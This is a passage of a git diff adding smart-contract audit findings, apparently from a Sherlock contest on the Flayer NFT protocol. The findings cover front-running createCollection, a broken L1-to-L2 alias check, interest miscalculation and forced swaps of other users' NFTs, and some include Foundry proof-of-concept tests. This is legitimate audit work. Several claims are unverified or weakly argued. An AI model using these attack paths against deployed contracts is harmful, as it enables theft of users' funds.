+While [`name`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/CollectionToken.sol#L93) and [`symbol`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/CollectionToken.sol#L100) are optional in EIP-20, they are expected to provide consistent information and **MUST NOT** be changed. The [`setMetadata`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/CollectionToken.sol#L83) function allows the owner to update these variables at any time.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Lack of requested strict compliance with EIP-20. Changing the token's name and symbol after deployment can lead to confusion among users and incompatibility with wallets that cache these values.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/660.md b/660.md
new file mode 100644
index 0000000..a433a5c
--- /dev/null
+++ b/660.md
@@ -0,0 +1,38 @@
+Lone Powder Shrimp
+
+High
+
+# missing a multiplication in tokensReceived lead to loss of fund for user
+
+### Summary
+
+1. in ProtectedListings.createListings line 143 when **tokensReceived** is calculated it's not multiplied by 1 ether so when _depositNftsAndReceiveTokens is called the user receive a small amount than the intended
+
+### Root Cause
+
+in ProtectedListings line 143 tokensReceived is not **multiplied** by 1 ether which lead to loss of fund
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L143
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+loss of fund
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+multiply tokensReceived with 1 ether
\ No newline at end of file
diff --git a/661.md b/661.md
new file mode 100644
index 0000000..a6b6354
--- /dev/null
+++ b/661.md
@@ -0,0 +1,59 @@
+Wonderful Cinnabar Llama
+
+Medium
+
+# Attacker can dos denomination of any collection tokens.
+
+## Summary
+`Locker::createCollection()` has no authority check for `msg.sender`. Exploiting this vulnerability, attacker can front-run creating collection and set denomination as he wants.
+
+## Vulnerability Detail
+As shown below, `Locker::createCollection()` allow anyone call it.
+```solidity
+ function createCollection(address _collection, string calldata _name, string calldata _symbol, uint _denomination) public whenNotPaused returns (address) {
+ // Ensure that our denomination is a valid value
+ if (_denomination > MAX_TOKEN_DENOMINATION) revert InvalidDenomination();
+
+ // Ensure the collection does not already have a listing token
+ if (address(_collectionToken[_collection]) != address(0)) revert CollectionAlreadyExists();
+
+ // Validate if a contract does not appear to be a valid ERC721
+ if (!IERC721(_collection).supportsInterface(0x80ac58cd)) revert InvalidERC721();
+
+ // Deploy our new ERC20 token using Clone. We use the impending ID
+ // to clone in a deterministic fashion.
+ ICollectionToken collectionToken_ = ICollectionToken(
+ LibClone.cloneDeterministic(tokenImplementation, bytes32(_collectionCount))
+ );
+ _collectionToken[_collection] = collectionToken_;
+
+ // Initialise the token with variables
+ collectionToken_.initialize(_name, _symbol, _denomination);
+
+ // Registers our collection against our implementation
+ implementation.registerCollection({
+ _collection: _collection,
+ _collectionToken: collectionToken_
+ });
+
+ // Increment our vault counter
+ unchecked { ++_collectionCount; }
+
+ emit CollectionCreated(_collection, address(collectionToken_), _name, _symbol, _denomination, msg.sender);
+ return address(collectionToken_);
+ }
+```
+Exploiting this vulnerability, attacker can front-run creating collection and set denomination as he wants. For instance, when admin create collection with denomination `10 ** 9`, attacker can front-run to create collection with denomination `10 ** 0` and. Or when admin create collection with denomination `10 ** 0`, attacker can front-run to create collection with denomination `10 ** 9`.
+
+## Impact
+DoS of core function.
+
+## Code Snippet
+[Locker::createCollection()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L299-L330)
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add appropriate authority check for `msg.sender` in `Locker::createCollection()`.
diff --git a/662.md b/662.md
new file mode 100644
index 0000000..cda456a
--- /dev/null
+++ b/662.md
@@ -0,0 +1,95 @@
+Lone Chartreuse Alpaca
+
+High
+
+# L1 to L2 Token Transfers Always Fail Due to Alias Address Check Error
+
+### Summary
+
+Tokens transferred from L1 to L2 via the [`InfernalRiftAbove::crossTheThreshold`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L83-L132) and [`crossTheThreshold1155`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L137-L194) functions will always revert on the L2 side, causing users' tokens to become stuck in the `InfernalRiftAbove` contract.
+
+
+
+### Root Cause
+
+users can call [InfernalRiftAbove::crossTheThreshold](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L83-L132) and [crossTheThreshold1155](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L137-L194) functions to send erc721 and erc1155 tokens respectively from L1 to L2 chain.
+The cross-chain call is carried out via [OptimisimPortal::depositTransaction](https://etherscan.io/address/0xe2f826324b2faf99e513d16d266c3f80ae87832b#code#F1#L398).
+The simplified call route is as follows:
+
+InfernalRiftAbove::crossTheThreshold --> OptimisimPortal::depositTransaction --> [Optimism::L2CrossDomainMessenger::relayMessage](https://optimistic.etherscan.io/address/0xc0d3c0d3c0d3c0d3c0d3c0d3c0d3c0d3c0d30007#code#F13#L303) --> InfernalRiftBelow::thresholdCross
+
+In [OptimisimPortal::depositTransaction](https://etherscan.io/address/0xe2f826324b2faf99e513d16d266c3f80ae87832b#code#F1#L398) function, when the calling address is a contract, an alias is applied to the address:
+```solidity
+ // Transform the from-address to its alias if the caller is a contract.
+ address from = msg.sender;
+ if (msg.sender != tx.origin) {
+ from = AddressAliasHelper.applyL1ToL2Alias(msg.sender);
+ }
+
+```
+```solidity
+ uint160 constant offset = uint160(0x1111000000000000000000000000000000001111);
+
+ function applyL1ToL2Alias(address l1Address) internal pure returns (address l2Address) {
+ unchecked {
+ l2Address = address(uint160(l1Address) + offset);
+ }
+```
+Since the sender here is the `InfernalRiftAbove` contract, `InfernalRiftAbove` contract address will be thus stored as an alias in the [OptimisimPortal::depositTransaction](https://etherscan.io/address/0xe2f826324b2faf99e513d16d266c3f80ae87832b#code#F1#L398) function call.
+
+When [InfernalRiftBelow::thresholdCross](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L135-L161) function is called in the L2 chain to distribute the tokens to the specified L2 recipient, the function attempts to ensure the stored sender from the L2CrossDomainMessenger contract is indeed the InfernalRiftAbove contract, but instead compares against the msg.sender, which in this case is the L2CrossDomainMessenger contract:
+```solidity
+ address expectedAliasedSender = address(
+ uint160(INFERNAL_RIFT_ABOVE) +
+ uint160(0x1111000000000000000000000000000000001111)
+ );
+
+ // Ensure the msg.sender is the aliased address of {InfernalRiftAbove}
+ if (msg.sender != expectedAliasedSender) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+```
+This will thus always result in a revert.
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+None
+
+### Impact
+
+Users' tokens are permanently stuck in the `InfernalRiftAbove` contract on L1, as the transfer to L2 will always fail.
+
+### PoC
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L135-L161
+
+### Mitigation
+
+Update [InfernalRiftBelow::thresholdCross](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L135-L161) function to reference the actual stored alias sender address, also ensure that the caller is the `CrossDomainMessenger` contract, I.e:
+```solidity
+ if (msg.sender != RELAYER_ADDRESS) {
+ revert("Not CrossDomainMessenger");
+ }
+
+ // Calculate the expected aliased address of INFERNAL_RIFT_ABOVE
+ address expectedAliasedSender = address(
+ uint160(INFERNAL_RIFT_ABOVE) +
+ uint160(0x1111000000000000000000000000000000001111)
+ );
+
+ // Ensure the msg.sender is the aliased address of {InfernalRiftAbove}
+ if (
+ ICrossDomainMessenger(msg.sender).xDomainMessageSender() !=
+ expectedAliasedSender
+ ) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+```
\ No newline at end of file
diff --git a/668.md b/668.md
new file mode 100644
index 0000000..0a77aad
--- /dev/null
+++ b/668.md
@@ -0,0 +1,22 @@
+Jovial Frost Porcupine
+
+Medium
+
+# wrong defaultFee in "UniswapImplementation"
+
+## Summary
+we are assigning the wrong value of defaultFee.
+## Vulnerability Detail
+ /// Sets our default fee that is used if no overwriting `poolFee` is set
+ uint24 public defaultFee = 1_0000; // 1%
+
+## Impact
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L132
+## Tool used
+
+Manual Review
+
+## Recommendation
+ uint24 public defaultFee = 1_000; // 1%
\ No newline at end of file
diff --git a/672.md b/672.md
new file mode 100644
index 0000000..6c9bf89
--- /dev/null
+++ b/672.md
@@ -0,0 +1,56 @@
+Large Mauve Parrot
+
+Medium
+
+# Hardcoded starting spot price of `500 ether` for a 7 days dutch auction is too much
+
+### Summary
+
+_No response_
+
+### Root Cause
+
+When executing a collection shutdown via [CollectionShutdown::execute()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231) the protocol creates a pool on sudoswap with the currently locked NFTs left in the protocol in an attempt of selling them.
+
+The price at which the NFTs will be sold starts from `500 ether` and linearly decreases for 7 days, until it becomes `0`:
+```solidity
+ pairFactory.createPairERC721ETH({
+ _nft: _collection,
+ _bondingCurve: curve,
+ _assetRecipient: payable(address(this)),
+ _poolType: ILSSVMPair.PoolType.NFT,
+@> _delta: uint128(block.timestamp) << 96 | uint128(block.timestamp + 7 days) << 64,
+ _fee: 0,
+@> _spotPrice: 500 ether,
+ _propertyChecker: address(0),
+ _initialNFTIDs: _tokenIds
+ })
+```
+
+Using a constant price of `500 ether` for a 7 days dutch auction for every collection can be problematic. At the start of the last day the price will be `71.42 ether`, at the start of the last hour the price will be `2.97 ether`, at the start of the last minute the price will be `0.049 ether`.
+
+At the moment of writing `0.049 ether` is worth about `120$`, which means that for a collection whose NFT floor value is less than `120$` people have to try and buy the NFT at the right time during the last possible minute. If an NFT collection has a floor price of `20$` users only have 10 seconds to act.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+A linearly decreasing price is supposed to allow the market to buy NFTs at a price they deem fair but a too-high starting spot price doesn't allow this to happen. Using such a high spot price makes it extremely likely for the NFTs to be sold for free or much lower than they should, leading to a loss for current collection token holders.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Since [CollectionShutdown::execute()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231) is an admin-only callable function add an input parameter so the admins can choose a sensible spot price based on the collection being shutdown.
\ No newline at end of file
diff --git a/678.md b/678.md
new file mode 100644
index 0000000..acee957
--- /dev/null
+++ b/678.md
@@ -0,0 +1,162 @@
+Massive Emerald Python
+
+High
+
+# The formula for charging interest on reserved assets, charges much more than it should
+
+### Summary
+
+The protocol allows users to reserve NFTs that they can't fully buy at the moment via the [reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759) function, users have to provide some collateral, and pay interest rates. The calculations for the interest rates rely on several factors, one of them is the utilization rate calculated in the [utilizationRate()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L261-L276) function:
+```solidity
+ /// @return utilizationRate_ The utilization rate percentage of the listing type (80% = 0.8 ether)
+ function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+ // Get the count of active listings of the specified listing type
+ listingsOfType_ = listingCount[_collection];
+
+ // If we have listings of this type then we need to calculate the percentage, otherwise
+ // we will just return a zero percent value.
+ if (listingsOfType_ != 0) {
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If we have no totalSupply, then we have a zero percent utilization
+ uint totalSupply = collectionToken.totalSupply();
+ if (totalSupply != 0) {
+ utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+ }
+ }
+ }
+```
+Next we have the [calculateCompoundedFactor()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L80-L91) function, which internally calls the [calculateProtectedInterest()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L59-L71) function:
+```solidity
+ function calculateProtectedInterest(uint _utilizationRate) public pure returns (uint interestRate_) {
+ // If we haven't reached our kink, then we can just return the base fee
+ if (_utilizationRate <= UTILIZATION_KINK) {
+ // Calculate percentage increase for input range 0 to 0.8 ether (2% to 8%)
+ interestRate_ = 200 + (_utilizationRate * 600) / UTILIZATION_KINK;
+ }
+ // If we have passed our kink value, then we need to calculate our additional fee
+ else {
+ // Convert value in the range 0.8 to 1 to the respective percentage between 8% and
+ // 100% and make it accurate to 2 decimal places.
+ interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) / (1 ether - UTILIZATION_KINK) + 8) * 100;
+ }
+ }
+```
+As can be seen from the comments in the above code snippet, if the interest rate is **800** this means the interest the user have to pay on his **tokenTaken** amount is **8%**. However this is not the case at all, due to miscalculations if the interest is **0.8e18** that will result in a **80%** interest rate.
+Lets consider the following scenario:
+1. The utilization rate calculated by the [utilizationRate()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L261-L276) function is **71428571428571428 ~0.071e18**. When that rate is provided as an argument in the [calculateProtectedInterest()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L59-L71) function, the returned interest rate will be **253**, according to the comments this has to **~2.5%** interest rate for a year.
+2. Now lets say the checkpoints haven't been updated for a year(we are considering this scenario to better illustrate the impact of the issue). If we plug the **253** in the [calculateCompoundedFactor()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L80-L91) function we will get a compounded rate of ~**1.25e18**
+3. Now the first compoundedFactor fo the use is about 1e18 if we plug those params in the [compound()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L106-L119) function we will get ~**0.62e18**
+4. Remember that based on the comments the user has to pay roughly 2.5% on his 0.5e18 tokeTaken, however this is clearly not the case and the user has to pay close to 25%
+
+
+
+
+
+### Root Cause
+
+The calculation of the interest rate that a user that reserved an NFT should be charged is wrong, and results in a much bigger interest rate. The problem is most probably in the [calculateCompoundedFactor()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L80-L91) function:
+```solidity
+ function calculateCompoundedFactor(uint _previousCompoundedFactor, uint _utilizationRate, uint _timePeriod) public view returns (uint compoundedFactor_) {
+ // Get our interest rate from our utilization rate
+ uint interestRate = this.calculateProtectedInterest(_utilizationRate);
+
+ // Ensure we calculate the compounded factor with correct precision. `interestRate` is
+ // in basis points per annum with 1e2 precision and we convert the annual rate to per
+ // second rate.
+ uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+
+ // Calculate new compounded factor
+ compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+ }
+```
+The division most probably should be by **10_000** instead of **1_000**
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Due to miscalculations of the interest rate users are charged much more interest for the NFTs they are reserving. For example a user that should be charged **8%** is actually charged **80%** which results in users paying 10 times more for interest rate than they should.
+
+### PoC
+
+[Gist](https://gist.github.com/AtanasDimulski/95fe424bd5c38a08b7d12cc5c3911878)
+
+After following the steps in the above mentioned [gist](https://gist.github.com/AtanasDimulski/95fe424bd5c38a08b7d12cc5c3911878) add the following function to the ``AuditorTests.t.sol`` file:
+
+```solidity
+ function test_InterestRateForReservedNFTsIsBiggerThanItShould() public {
+ vm.startPrank(alice);
+ collection1.mint(alice, 12);
+ collection1.setApprovalForAll(address(listings), true);
+
+ Listings.Listing memory listingAlice = IListings.Listing({
+ owner: payable(alice),
+ created: uint40(block.timestamp),
+ duration: 10 days,
+ floorMultiple: 200
+ });
+
+ uint256[] memory tokenIdsAlice = new uint256[](1);
+ tokenIdsAlice[0] = 12;
+ IListings.CreateListing[] memory createLisings = new IListings.CreateListing[](1);
+ IListings.CreateListing memory createListing = IListings.CreateListing({
+ collection: address(collection1),
+ tokenIds: tokenIdsAlice,
+ listing: listingAlice
+ });
+ createLisings[0] = createListing;
+ listings.createListings(createLisings);
+ skip(2);
+ vm.stopPrank();
+
+ vm.startPrank(bob);
+ collection1.mint(bob, 13);
+ collection1.mint(bob, 14);
+ collection1.mint(bob, 15);
+ collection1.setApprovalForAll(address(locker), true);
+ uint256[] memory tokenIdsBob = new uint256[](3);
+ tokenIdsBob[0] = 13;
+ tokenIdsBob[1] = 14;
+ tokenIdsBob[2] = 15;
+ locker.deposit(address(collection1), tokenIdsBob);
+ collectionTokenA.approve(address(listings), type(uint256).max);
+ listings.reserve(address(collection1), 12, 0.5e18);
+ vm.stopPrank();
+ (, uint256 utilizationRateA) = protectedListings.utilizationRate(address(collection1));
+ console2.log("the current utilization rate: ", utilizationRateA);
+ console2.log("Current total supply of the collectionA token: ", collectionTokenA.totalSupply());
+ console2.log("The current price that need to be paid to unlock the price: ", protectedListings.unlockPrice(address(collection1), 12));
+
+ /// @notice we skip one year
+ skip(31_536_000);
+ (, uint256 utilizationRateB) = protectedListings.utilizationRate(address(collection1));
+ console2.log("the current utilization rate: ", utilizationRateB);
+ console2.log("The current price that need to be paid to unlock the price: ", protectedListings.unlockPrice(address(collection1), 12));
+ }
+```
+
+```solidity
+Logs:
+ the current utilization rate: 71428571428571428
+ Current total supply of the collectionA token: 14000000000000000000
+ The current price that need to be paid to unlock the price: 500000000000000000
+ the current utilization rate: 71428571428571428
+ The current price that need to be paid to unlock the price: 626499999985927999
+```
+
+To run the test use: ``forge test -vvv --mt test_InterestRateForReservedNFTsIsBiggerThanItShould``
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/681.md b/681.md
new file mode 100644
index 0000000..6fb6884
--- /dev/null
+++ b/681.md
@@ -0,0 +1,86 @@
+Winning Emerald Orca
+
+Medium
+
+# Potential Underflow in Listings Contract: Unchecked Decrement of listingCount
+
+## Summary
+
+A potential underflow vulnerability was detectedin the `Listings` contract at line 725. The unchecked decrement of the listingCount mapping could lead to an underflow if not properly managed.
+
+## Relevant Links
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759
+
+## Vulnerability Detail
+
+The code snippet in question decrements the listingCount for a given collection without any checks:
+
+```solidity
+unchecked { listingCount[_collection] -= 1; }
+
+```
+This operation is performed within an unchecked block, which means Solidity's built-in overflow/underflow protections are disabled. If `listingCount[_collection]` is already 0, this operation will cause an underflow, wrapping around to the maximum value of the uint256 type.
+
+## Impact
+
+If an underflow occurs, it could lead to severe inconsistencies in the contract's state. The listingCount for a collection could suddenly become extremely large, potentially disrupting other parts of the contract that rely on this count. This could lead to unexpected behavior, including potential DoS conditions or incorrect calculations based on the listing count.
+
+**Code **Snippet**
+
+```solidity
+ function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is not the owner of the listing
+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+
+ // Ensure that the existing listing is available
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+ if (!isAvailable) revert ListingNotAvailable();
+
+ // Find the underlying {CollectionToken} attached to our collection
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // Check if the listing is a floor item and process additional logic if there
+ // was an owner (meaning it was not floor, so liquid or dutch).
+ if (oldListing.owner != address(0)) {
+ // We can process a tax refund for the existing listing if it isn't a liquidation
+ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+ }
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Reduce the amount of listings
+ unchecked { listingCount[_collection] -= 1; } //@audit this can underflow
+ }
+
+ // Other parts of the code
+ }
+```
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+To mitigate this vulnerability, implement a check to ensure the listingCount is greater than zero before decrementing. Here's a suggested fix:
+
+```solidity
+ if (listingCount[_collection] > 0) {
+ listingCount[_collection] -= 1;
+}
+
+```
\ No newline at end of file
diff --git a/686.md b/686.md
new file mode 100644
index 0000000..7116991
--- /dev/null
+++ b/686.md
@@ -0,0 +1,176 @@
+Striped Boysenberry Fox
+
+High
+
+# Possibly incorrect listing type calculation
+
+## Summary
+
+A listing whose `duration` is dutchable (1 days <= `duration` <= 7 days) can never be `LIQUID` because of the `getListingType()` function.
+
+## Vulnerability Detail
+
+A type of listing is determined by the [`getListingType()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L962-L980) function.
+
+```solidity
+ function getListingType(Listing memory _listing) public view returns (Enums.ListingType) {
+ // If we cannot find a valid listing and get a null parameter value, then we know
+ // that the listing does not exist and it is therefore just a base token.
+ if (_listing.owner == address(0)) {
+ return Enums.ListingType.NONE;
+ }
+
+ // If the listing was created as a dutch listing, or if the liquid listing has
+ // expired, then this is a dutch listing.
+ if (
+ (_listing.duration >= MIN_DUTCH_DURATION && _listing.duration <= MAX_DUTCH_DURATION) ||
+ _listing.created + _listing.duration < block.timestamp
+ ) {
+ return Enums.ListingType.DUTCH;
+ }
+
+ // For all other eventualities, we have a default liquid listing
+ return Enums.ListingType.LIQUID;
+ }
+```
+
+"Dutch" literally means a type of auction where the price of an item starts high and gradually decreases over time until a buyer accepts the current price. So only the period that the price decreases from high to low, should be `DUTCH`.
+
+But, according to the above function, the type of a listing whose `duration` is dutchable (1 days <= duration <= 7 days), has the following listing type over time.
+
+```log
+ DUTCH DUTCH
+|-----------------------|---------------------------------------------->
+0 duration + Inf.
+```
+
+On the other hand, for a listing whose `duration` is out-of-dutch, it has the following listing type over time.
+
+```log
+ LIQUID LIQ. DUTCH DUTCH
+|-------------------|--------------|----------------------------------->
+0 duration (duration + 4 days) + Inf.
+```
+
+The above diagram shows that a listing whose `duration` is dutchable can never be `LIQUID`.
+
+### Proof-Of-Concept
+
+Here is a test case of the `getListingType()` function:
+
+```solidity
+ // @audit-poc
+ function test_IncorrectListingType() public {
+ // Ensure that we don't get a token ID conflict
+ uint256 _tokenId = 1;
+ address _owner = address(0x101);
+ uint16 _floorMultiple = 150;
+ address _collection = address(erc721a);
+ ICollectionToken token = locker.collectionToken(_collection);
+
+ erc721a.mint(_owner, _tokenId);
+
+ vm.startPrank(_owner);
+ erc721a.approve(address(listings), _tokenId);
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: payable(_owner),
+ created: uint40(block.timestamp),
+ duration: 5 days,
+ floorMultiple: _floorMultiple
+ })
+ })
+ });
+ vm.stopPrank();
+
+ vm.warp(block.timestamp + 1 days);
+ IListings.Listing memory listing = listings.listings(_collection, _tokenId);
+ console.log("Listing Type after 1 day(s):", uint(listings.getListingType(listing)));
+
+ vm.warp(block.timestamp + 5 days);
+ listing = listings.listings(_collection, _tokenId);
+ console.log("Listing Type after 6 day(s):", uint(listings.getListingType(listing)));
+
+ vm.warp(block.timestamp + 94 days);
+ listing = listings.listings(_collection, _tokenId);
+ console.log("Listing Type after 100 day(s):", uint(listings.getListingType(listing)));
+ }
+```
+
+Here are the logs:
+```bash
+$ forge test --match-test test_IncorrectListingType -vv
+[⠒] Compiling...
+[⠔] Compiling 1 files with Solc 0.8.26
+[⠒] Solc 0.8.26 finished in 13.48s
+
+Ran 1 test for test/Listings.t.sol:ListingsTest
+[PASS] test_IncorrectListingType() (gas: 487880)
+Logs:
+ Listing Type after 1 day(s): 0
+ Listing Type after 6 day(s): 0
+ Listing Type after 100 day(s): 0
+
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.25ms (506.20µs CPU time)
+
+Ran 1 test suite in 9.96ms (5.25ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+
+As can be seen from the logs, the listing type is always `DUTCH` even after the dutch duration has expired.
+## Impact
+
+As only `LQUID` type listings can be modifiable and cancellable, the listings with dutchable durations can never be modified or canceled.
+
+## Code Snippet
+
+[Listings.sol#L962-L980](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L962-L980)
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+In my opinion, the intended timemap of a listing could be as follows:
+
+- For dutchable duration,
+
+```log
+ DUTCH LIQUID
+|-----------------------|---------------------------------------------->
+0 duration + Inf.
+```
+
+- For non-dutchable duration,
+
+```log
+ LIQUID LIQ. DUTCH LIQUID
+|-------------------|--------------|----------------------------------->
+0 duration (duration + 4 days) + Inf.
+```
+
+Based on this assumption, I'd suggest updating the `getListingType()` function as follows:
+
+```solidity
+ function getListingType(Listing memory _listing) public view returns (Enums.ListingType) {
+ if (_listing.owner == address(0)) {
+ return Enums.ListingType.NONE;
+ }
+
+ if (_listing.duration >= MIN_DUTCH_DURATION && _listing.duration <= MAX_DUTCH_DURATION) {
+ if (_listing.created + _listing.duration < block.timestamp) {
+ return Enums.ListingType.LIQUID;
+ }
+ return Enums.ListingType.DUTCH;
+ }
+
+ if (_listing.created + _listing.duration < block.timestamp && _listing.created + _listing.duration + LIQUID_DUTCH_DURATION >= block.timestamp) {
+ return Enums.ListingType.DUTCH;
+ }
+
+ return Enums.ListingType.LIQUID;
+ }
+```
diff --git a/708.md b/708.md
new file mode 100644
index 0000000..6cb221c
--- /dev/null
+++ b/708.md
@@ -0,0 +1,38 @@
+Lone Powder Shrimp
+
+High
+
+# when filling it is burning the tax that the lister paid
+
+### Summary
+
+in Listing.fillListing line 592 when repaying the base amount that the user received when listing by burning the buyer is burning totalBurn * 1 ether * 10 ** _collectionToken.denomination() it is also burning the tax that the use paid which means that both the lister and the buyer are both paying the tax
+
+### Root Cause
+
+in Listing.fillLisitng line 592 it is burning totalBurn * 1 ether * 10 ** _collectionToken.denomination()); instead it should subtract the tax that the user paid
+ https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L592
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+both the listener and the buyer are paying
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/713.md b/713.md
new file mode 100644
index 0000000..bcdd397
--- /dev/null
+++ b/713.md
@@ -0,0 +1,49 @@
+Polite Macaroon Parakeet
+
+High
+
+# Malicious users could force swap nft owned by other users in locker
+
+### Summary
+
+In `Locker::swap()` , there is missing a check if targeted nft is already owned by someone else. In the case when users reserve nfts and obtain them through unlocking, but not yet withdraw, these nfts will be still in the locker . In this scenario, we should not allow swapping to happen.
+
+### Root Cause
+
+- In `ProtectedListings::unlockProtectedListing`, when unlocking a protected listing, the listing struct will be deleted
+- In `Locker::swap()`, before swapping, it only checks if the nfts is a listing by checking the owner field in the listing struct; however, because the listing struct is being removed earlier when unlocking, now these nfts are considered tradeable. This is unfair for users who use the reserving feature , since they may pay alot to get these nfts (Filling listing price + Floor price to unlock the protected listing)
+
+Consider this scenario:
+1. User A really like an nft X, which is priced at 2 ETH worth of collection token, so he reserve it; he pays 1ETH worth of collection token and creates a protected listing to pay the rest (floor price) later.
+2. After fully paying, now User A can unlock it but decides to keep the nft in the locker.
+3. Attacker B sees this opportunity; they will try to take the nft owned by user A by swapping it with a floor nft and profit.
+
+### Internal pre-conditions
+
+1. Users use reserve() to create a protected listing for their desired nfts.
+2. Users unlock protected listing without withdrawing these nfts.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+1. Malicious users call `Locker::swap()` contract to swap the nfts owned by other users but not yet being withdrawn from the locker
+
+### Impact
+
+Malicious users could steal valuable nfts by swapping them with floor nfts.
+
+### Code snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L314-L322
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L246
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+An easy way is to remove the option to keep the nft in the locker after unlocking it.
\ No newline at end of file
diff --git a/716.md b/716.md
new file mode 100644
index 0000000..21f17d2
